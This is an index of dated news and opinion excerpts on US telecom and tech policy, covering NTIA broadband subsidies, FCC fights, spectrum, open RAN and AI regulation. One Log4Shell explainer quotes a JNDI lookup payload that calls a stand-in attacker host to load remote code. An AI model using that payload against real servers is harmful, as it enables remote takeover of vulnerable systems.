Date | Title | Description |
24.10.2024 | Hey Brendan Carr, Next Time Link To Our Article That Proves You’re Full Of Shit, Coward | Recently, Karl had a post taking FCC Commissioner Brendan Carr to task for a painfully misleading Wall Street Journal article that attacked Kamala Harris. The article claimed that her policies resulted in the lack of new broadband deploymen... |
18.10.2024 | Trump’s Likely FCC Boss, Brendan Carr, Tries To Undermine Popular Infrastructure Bill Broadband Improvements | States are poised to receive $42.5 billion in broadband grants thanks to the 2021 infrastructure bill. While a lot of this money will be going to the usual entrenched monopoly incumbents, a lot of it is also going to a growing list of popul... |
11.09.2024 | GOP Holds Show Hearing To Complain About Providing Affordable Broadband To Poor People | Over the next six months, states are poised to receive more than $42.5 billion in taxpayer subsidies to help fund broadband rollouts around the country. A lot of this money is getting dumped into the laps of big telecom monopolies with a lo... |
08.08.2024 | Nokia first to self-certify fiber products for use in BEAD | Press Release
Nokia first to self-certify fiber products for use in BEAD
Nokia becomes the first technology vendor to self-certify its fiber products manufactured in the U.S. for BEAD, ensuring each is Buy America-compliant.
Nokia provides ... |
03.08.2024 | The Tug-of-War Over Broadband: Telecom Giants vs. Affordable Access | In the sprawling landscape of American broadband, a battle brews. On one side, the telecom giants, fortified by decades of dominance. On the other, the government, armed with a $42 billion subsidy aimed at expanding access. The stakes? Affo... |
02.08.2024 | Big Telecom Will Soon Get $42 BIllion In Taxpayer Subsidies, But Balk At Providing Affordable Broadband To Poor People | Broadband providers poised to receive $42 billion in taxpayer broadband subsidies from the infrastructure bill are ramping up complaints about a small requirement affixed to the massive handout: they have to try to make broadband affordable... |
31.07.2024 | Biden Administration plans to monitor open weight AI models | Join our daily and weekly newsletters for the latest updates and exclusive content on industry-leading AI coverage. Learn More
The Biden administration called for the monitoring of open-weight models as it looks to collect more information ... |
26.07.2024 | Applications Encouraged for More Than $1 Billion for Digital Equity Program | Vermont Community Broadband Board (VCBB) is encouraging organizations in Vermont to apply for the Digital Equity Competitive Program to fund programs that ensure communities have the access to devices and the skills needed to fully particip... |
19.07.2024 | GOP ‘Investigates’ NTIA For Wanting To Make Broadband Affordable To Poor People | We’ve noted a few times that states will soon receive more than $42.5 billion in taxpayer funded broadband subsidies courtesy of the 2021 infrastructure bill. A lot of that money will go to big giant monopolies with terrible track records o... |
08.07.2024 | Sonatype launches SBOM Manager to enhance software security | Sonatype has announced the general availability of its Software Bill of Materials (SBOM) Manager product.
An SBOM is a detailed inventory of the various components used in software development, including versions, origins, and licensing spe... |
06.06.2024 | Rohde & Schwarz and VIAVI offer solutions supporting open radio | Rohde & Schwarz (R&S) and Viavi Solutions Inc. (VIAVI) (NASDAQ: VIAV) today announced an expansion of their partnership delivering state-of-the-art O-RU testing. These solutions are ideally suited to the needs of radio manufacturers... |
22.05.2024 | Privacy bill facing hurdles in House | figcaption>span]:font-sans">
House Republican leadership and Energy and Commerce members from both parties are uneasy with the draft American Privacy Rights Act, suggesting a messy future ahead for the bill.
The big picture: An E... |
22.04.2024 | Хотите снять квартиру? Готовьтесь сдать биометрию лица | Многие домовладельцы впервые начали применять распознавание лиц во время пандемии, чтобы избежать рисков, связанных с самостоятельными просмотрами. Сегодня они не отказываются от этой идеи, чтобы обезопасить себя от мошенников и сэкономить ... |
09.04.2024 | DoD outlines spectrum moonshot endeavor during eclipse | Dynamic spectrum sharing could be one of the keys to unlock the 3.1-3.45 GHz band
Spectrum is a strategic asset for both the military and industry
Over the next 12-18 months, the DoD and other government stakeholders will work on potential ... |
08.04.2024 | GetSetUp Announces Strategic Collaboration with States to Enhance Digital Inclusion | GetSetUp is on a mission to help those over 55 learn new skills, connect with others and unlock new life experiences.
GetSetUp is enhancing its offerings to align with the National Telecommunications and Information Administration's (NTIA) ... |
04.04.2024 | FCC Prepares To Restore Net Neutrality, But The New Rules Might Be Weaker Than The Ones Discarded By Trump | The FCC has announced that it will vote to restore the net neutrality rules stripped away by the Trump administration during an agency meeting on April 25.
A reminder: net neutrality rules prevent giant telecoms from abusing their market po... |
20.03.2024 | FCC Finally Updates America’s Pathetic Definition Of ‘Broadband’ To 100 Mbps | For decades, the FCC has maintained an arguably pathetic definition of “broadband,” allowing the telecom industry to under-deliver substandard access. After some industry lobbying to ensure it wasn’t too stringent, the agency is finally get... |
12.03.2024 | What's next for Biden's spectrum strategy | The Biden administration's plan to implement its national spectrum strategy dropped on Tuesday as the U.S. races to tap into the finite resource.
The big picture: In an interview with Axios at SXSW, Office of Science and Technology Policy d... |
23.02.2024 | Winning wireless with American strengths | Eric Schmidt Contributor
Eric Schmidt was the CEO of Google from 2001 to 2011 and executive chairman of Google and its successor company, Alphabet, from 2011 to 2017.
America’s infrastructure needs a serious upgrade. That includes the natio... |
12.01.2024 | Researchers Unveils ETHOS: Pioneering 5G Network Testing Framework for Software-Centric RANs | Inno Flores, Tech Times 12 January 2024, 08:01 pm |
12.01.2024 | Healey-Driscoll Administration Celebrates Northeastern University for Winning $6 Million in Federal Funding to Support Future of Mobile Networks | Boston — The Healey-Driscoll administration is celebrating Northeastern University for winning three federal grants totaling $6 million from the National Telecommunications and Information Administration’s (NTIA) Public Wireless Supply Chai... |
17.11.2023 | The FCC Is Trying To Stop Discrimination In Broadband Deployment. Telecoms And Republicans Are Big Mad About It | For decades, big ISPs like AT&T have refused to upgrade low income and poor communities to fiber, despite billions in subsidies, regulatory favors, and tax breaks that were supposed to accomplish precisely that. Groups like the National... |
16.10.2023 | NTIA Urges FCC To Adopt Rules Banning Race, Class Discrimination In Broadband Deployment | Groups like the National Digital Inclusion Alliance have consistently released studies showing that telecom giants like AT&T, despite billions in subsidies and tax breaks, routinely avoid upgrading minority and low income neighborhoods ... |
26.07.2023 | RIAA Urges NTIA to Keep .US Domain WHOIS Info Public to Deter Online Piracy | Historically, the domain name WHOIS system has been an important tool to track down the operators of pirate sites and services.
While WHOIS data is not always accurate, it is still helpful in holding site operators accountable, at least whe... |
26.06.2023 | Biden promises internet for all by 2030 | Millions of Americans who have been struggling to connect to the internet may soon find it easier to get online, thanks to an infusion of funding from the federal government approved in late 2021.
President Joe Biden announced the funding M... |
08.06.2023 | UK’s AI safety summit gets thumbs up from tech giants | Make way for another forum on AI safety. The U.K. government has announced it will convene a “global” AI summit this fall with the aim of agreeing “safety measures to evaluate and monitor the most significant risks from AI”, as its PR puts ... |
30.05.2023 | What To Know About Security In Open RAN Technology | Chief technology and strategy officer at Mavenir. |
15.05.2023 | DoD, NTIA announce 5G plan for 3.3-3.4GHz | DoD, NTIA announce 5G plan for 3.3-3.4GHz
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The U.S. Department of State, on behalf of the U.S. Government, is submitting a proposal to the May 2023 Inter-American Telecommunications Commission (CITEL) h... |
09.05.2023 | A Digital Regulator Must Be Empowered to Address AI Issues | As the demand to cast a regulatory net over digital industries has grown in recent years, one call in particular has emerged from the noise: support for the creation of a digital regulator to do the job.
Many observers have forcefully champ... |
26.04.2023 | TechTank: Will the U.S. attain a competitive global spectrum strategy? | Consumer demand for wireless services continues to increase in the United States, making the need for more commercial spectrum a priority as more services migrate to mobile platforms. In a recent report, the CTIA argued that the U.S. needs ... |
25.04.2023 | Business
Business | Chatbots and the new AI: What will Silicon Valley unleash upon the world this time? | Jobs. News. Art. Democracy. Equality. Education. Privacy. Truth. Your bank account. All will be impacted by Silicon Valley’s latest creation: “generative” artificial intelligence.
With new chatbots and AI software that generates text, image... |
21.04.2023 | IT-HW: в чём РЕволюция StarLink-V2? (Часть 1) | Предисловие
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Я - HW RnD CTO по современной спутниковой и сотовой связи - и, как немного погруженный в отрасль человек, решил написать цикл статей о разработке cutting-edge telecom hardware.
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17.04.2023 | Who's Tackling Classified AI? | On April 8, the Washington Post reported that members of Congress have “vowed to tackle AI.” The article describes the anxiety that is growing among lawmakers as they try to get a handle on what recent advances in artificial intelligence po... |
13.04.2023 | Tackling Software Supply Chain Security: A Toolbox for Policymakers | For software development platform provider CircleCI, this year began with a scramble to respond to a software supply chain compromise. CircleCI’s tens of thousands of customers use the continuous integration and delivery (CI/CD) platform fo... |
12.04.2023 | NTIA accepts applications for $140.5 million in 5G open RAN grants | Today, U.S. Secretary of Commerce Gina Raimondo announced the formal launch of the Public Wireless Supply Chain Innovation Fund, which will invest $1.5 billion in the development of open and interoperable networks.
The innovation fund’s fir... |
12.04.2023 | Rules for AI? US Wants Your Suggestions on Creating Regulations for AI Models Including ChatGPT and MORE | Isaiah Richard, Tech Times 12 April 2023, 12:04 am
The United States government, under the Biden administration, is now looking to create rules for artificial intelligence and its use among the public, one that would hold it accountable for... |
07.02.2023 | The Cyberlaw Podcast: Phony Cybersecurity Regulation | This episode of the Cyberlaw Podcast is dominated by stories about possible cybersecurity regulation. David Kris points us first to an article by the leadership of the Cybersecurity and Infrastructure Security Administration in Foreign Affa... |
01.02.2023 | The Biden administration says Apple’s and Google’s app stores are stifling competition | The Biden administration is calling out Apple’s and Google’s app stores for stifling competition. A new report, issued on Wednesday by the Commerce Department’s National Telecommunications and Information Administration (NTIA), said it had ... |
01.02.2023 | Biden Administration Takes Aim Apple and Google’s App Stores | The Biden administration is taking aim at Apple and Google’s mobile app stores, representing perhaps one of the biggest challenge they have yet faced.
Apple and Google control the two largest mobile app ecosystems and have increasingly come... |
01.02.2023 | White House takes aim at Apple and Google for their app stores | The Biden administration is taking aim at Apple and Google for operating mobile app stores that it says stifle competition.
The finding is contained in a Commerce Department report released on Wednesday as President Joe Biden was set to con... |
07.01.2023 | CES 2023: Tech Companies, State Agencies Discuss Increasing Connectivity and Accessibility and the Future of 5G | John Lopez, Tech Times 07 January 2023, 07:01 pm
As the world increasingly relies on technology, the demand for faster and more reliable connectivity only grows. At CES 2023, technology companies like Amazon and Qualcomm, as well as concern... |
02.01.2023 | NTIA, DoD put up $7M prize for open RAN tech | NTIA, DoD put up $7M prize for open RAN tech
News Wire Feed Light Reading 2/1/2023
WASHINGTON – Today, the National Telecommunications and Information Administration (NTIA) announced the launch of the 2023 5G Challenge in collaboration with... |
12.12.2022 | Statement from the USA, Australia, Canada, and the UK on telecommunications supplier diversity | Statement from the USA, Australia, Canada, and the UK on telecommunications supplier diversity
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WASHINGTON – On 08 December 2022 the United States of America, Australia, Canada and the Unit... |
09.11.2022 | The Conservative Bias Panic Comes for Gmail’s Spam Detection | Over the past decade, concern over Big Tech bias against conservative speech and speakers has dominated the narrative from the right. From repeated calls to repeal Section 230 of the Communications Decency Act to Donald Trump’s executive or... |
05.10.2022 | Seeing Beyond Security Misconceptions: Insights From SBOMs | Conal Gallagher is the CIO at both Flexera and its division Revenera, where he manages IT and information security programs. |
23.05.2022 | Mavenir, Fujitsu, Radisys, others selected for NTIA's open RAN program | WASHINGTON – Today, the National Telecommunications and Information Administration's (NTIA) Institute for Telecommunication Sciences (ITS), in Boulder, Colo., in collaboration with the Department of Defense (DoD), announced 5G Challenge con... |
26.04.2022 | Rakuten wins 5G Challenge early bird award from NTIA, DoD | WASHINGTON – Today, the National Telecommunications and Information Administration's (NTIA) Institute for Telecommunication Sciences (ITS), in Boulder, Colo., in collaboration with the Department of Defense (DoD), announced 5G Challenge con... |
06.04.2022 | NTIA puts up $3M for DoD's open 5G networks | WASHINGTON – Today, the National Telecommunications and Information Administration’s (NTIA) Institute for Telecommunication Sciences (ITS), in Boulder, Colo., announced the launch of the 5G Challenge in collaboration with the Department of ... |
07.01.2022 | NTIA asks public how to spend $48B on broadband | WASHINGTON, DC Today, the U.S. Department of Commerce's National Telecommunications and Information Administration (NTIA) announced that it is requesting public comment on a wide range of policy and program considerations associated with ... |
11.12.2021 | What's the Deal with the Log4Shell Security Nightmare? | We live in a strange world. What started out as a Minecraft prank, where a message in chat like ${jndi:ldap://attacker.com/pwnyourserver} would take over either a Minecraft server or client, has now resulted in a 5-alarm security panic as a... |
17.11.2021 | Managing the Cybersecurity Vulnerabilities of Artificial Intelligence | Last week, Andy Grotto and I published a new working paper on policy responses to the risk that artificial intelligence (AI) systems, especially those dependent on machine learning (ML), can be vulnerable to intentional attack. As the Natio... |
24.08.2021 | NTIA receives $2.5B in broadband requests for $288M grant program | WASHINGTON The U.S. Department of Commerce's National Telecommunications and Information Administration (NTIA) announced today that it has received more than 230 applications for the Broadband Infrastructure Program, for a total of more t... |
24.06.2021 | JFrog : The Biggest DevSecOps Hits From swampUP 2021 | In the wake of recent events like the SolarWinds hackand the White House executive order on cybersecurity, DevSecOps and security are top-of-mind for most DevOps and security professionals.
How to efficiently adapt or adopt a sound DevSecOp... |
01.06.2021 | RAPID7, INC.
Rapid7 : How the Biden Administration's cybersecurity order will affect companies | 'It is the policy of my Administration that the prevention, detection, assessment, and remediation of cyber incidents is a top priority and essential to national and economic security.'
The Biden Administration recently issued Executive Ord... |
28.05.2021 | BLACKBERRY LIMITED
BlackBerry : U.S. Cybersecurity Order Requires Software Bill of Materials for Supply Chain Security | U.S. Cybersecurity Order Requires Software Bill of Materials for Supply Chain Security
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17.05.2021 | How Biden’s executive order on cybersecurity may impact vendors and developers | Image: iStock/deagreez
With ransomware attacks increasingly impacting businesses, government agencies and critical infrastructure, President Joe Biden last week signed an executive order (EO) designed to shore up the nation’s cyber security... |
23.04.2021 | The Biden Administration’s Impending Executive Order on Software Security | Last year’s revelation of the infiltration of federal agency digital supply chains—via the information technology (IT) contractor SolarWinds—revealed gaping holes in America’s cyber defenses. The White House recently attributed this intrusi... |
21.04.2021 | MIMECAST LIMITED
Q&A: Catalytic Events Drive U.S. to Take Cybersecurity More Seriously | Though the U.S. government has ignored prior opportunities, former strategy chief of the National Cybersecurity Center says this time is different.
Key Points:
You can't have data privacy without good cybersecurity, so the U.S. federal gove... |
03.02.2021 | The Wall Street Journal Misreads Section 230 and the First Amendment | When private tech companies moderate speech online, is the government ultimately responsible for their choices? This appears to be the latest argument advanced by those criticizing Section 230 of the Telecommunications Act of 1996—sometimes... |
17.09.2020 | Trump is trying to rig the FCC to pass his executive order cracking down on Facebook and Twitter | President Trump on Wednesday nominated National Telecommunications and Information Administration (NTIA) advisor Nathan Simington to join the Federal Communications Commission (FCC).
Simington would be replacing FCC commissioner Mike O'Riel... |
21.08.2020 | Content Moderation Knowledge Sharing Shouldn't Be A Backdoor To Cross-Platform Censorship | Ten thousand moderators at YouTube. Fifteen thousand moderators at Facebook. Billions of users, millions of decisions a day. These are the kinds of numbers that dominate most discussions of content moderation today. But we should also be ta... |
29.07.2020 | Some Reservations About A Consistency Requirement For Social Media Content Moderation Decisions. | The recent proposals from the Department of Justice for reform of Section 230 of the Communications Decency would require social media companies, as a condition of receiving the Section 230 immunity from liability for user content, to publi... |
29.07.2020 | What’s Next for Section 230? A Roundup of Proposals | Section 230 of the Communications Decency Act has long provided internet platforms like Twitter and Facebook with immunity from claims based on third-party content that appears on their platforms. The statute, codified at 47 U.S.C. § 230, f... |
28.07.2020 | Here’s Trump’s Plan To Regulate Social Media | WASHINGTON, DC - MAY 28: U.S. President Donald Trump speaks in the Oval Office before signing an ... [+] executive order related to regulating social media on May 28, 2020 in Washington, DC. Trump's executive order could lead to attempts to... |
09.07.2020 | NTIA: 3.45-3.55 GHz ‘good candidate’ for mid-band sharing
Featured Whitepaper | It’s no secret that the U.S. wireless industry is hungry for mid-band spectrum for 5G, and a new National Telecommunications and Information Administration (NTIA) report determined 100 MHz in the 3.1-3.55 GHz band looks most viable for near... |
29.01.2020 | NTIA cites progress in 3450-3550 MHz band for sharing
Featured Whitepaper | In an encouraging sign from the National Telecommunications and Information Administration (NTIA) for operators, the entity announced significant progress in finding potential spectrum sharing options for the 3450-3550 MHz band.
Federal ope... |
- | NTIA begins accepting open RAN funding applications | NTIA begins accepting open RAN funding applications
News Wire Feed Light Reading 4/12/2023
WASHINGTON – Today, U.S. Secretary of Commerce Gina M. Raimondo announced the formal launch of the Public Wireless Supply Chain Innovation Fund, whic... |
- | NTIA asks public how to spend $48B on broadband | WASHINGTON, DC Today, the U.S. Department of Commerce's National Telecommunications and Information Administration (NTIA) announced that it is requesting public comment on a wide range of policy and program considerations associated with ... |
- | Mavenir, Radisys, Fujitsu, AT&T among 5G Challenge participants | Mavenir, Radisys, Fujitsu, AT&T among 5G Challenge participants
News Wire Feed Light Reading 3/10/2023
WASHINGTON – Seven contestants have been selected to participate in a $7 million research competition to promote more secure and inte... |